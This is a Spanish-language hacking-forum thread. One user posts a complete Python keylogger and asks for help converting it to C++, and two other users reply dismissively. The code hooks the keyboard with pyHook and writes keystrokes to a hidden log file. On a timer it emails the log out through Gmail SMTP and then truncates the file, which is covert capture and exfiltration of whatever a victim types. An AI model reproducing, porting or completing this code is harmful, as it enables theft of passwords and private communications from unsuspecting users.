De Python a C++

Iniciado por elhacker.net01, 28 Abril 2018, 19:42 PM

0 Miembros y 1 Visitante están viendo este tema.

elhacker.net01

Buenos dias, necesito que me ayuden a convertir ese codigo de python a C++

aqui les dejo el codigo



import pyHook, pythoncom, sys, logging
import time, datetime
#crear la ruta en el disco C:
wait_seconds = 300
timeout = time.time() + wait_seconds
file_log = 'C:\\secret\\dat.txt'

def TimeOut():
  if time.time() > timeout:
    return True
  else:
    return False

def SendEmail(user, pwd, recipient, subject, body):
  import smtplib
 
  gmail_user= user
  gmail_pass = pwd
  FROM = user
  TO = recipient if type(recipient) is list else [recipient]
  SUBJECT = subject
  TEXT = body
 
  message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
  """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  try:
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.ehlo()
    server.starttls()
    server.login(gmail_user, gmail_pass)
    server.sendmail(FROM, TO, message)
    server.close()
    print 'Correo enviado satisfactoriamente!'
  except:
    print 'Error al mandar correo!'

def FormatAndSendLogEmail():
  with open(file_log, 'r+') as f:
    actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    data = f.read().replace('\n', '')
    data = 'Log capturado a las: '+ actualdate + '\n' + data
    SendEmail('correo', 'clave', 'correo',
              'Nuevo log - '+actualdate, data)
    f.seek(0)
    f.truncate()
   
def OnKeyboardEvent(event):
  logging.basicConfig(filename=file_log, level=logging.DEBUG,
                      format = '%(message)s')
  logging.log(10, chr(event.Ascii))
  return True
 
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()

while True:
  if TimeOut():
    FormatAndSendLogEmail()
    timeout = time.time() + wait_seconds
 



engel lex

necesitas un montoooon de trabajo XD


que llevas hecho?
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

srWhiteSkull

Y yo necesito dinero y una china que me haga masajes Xd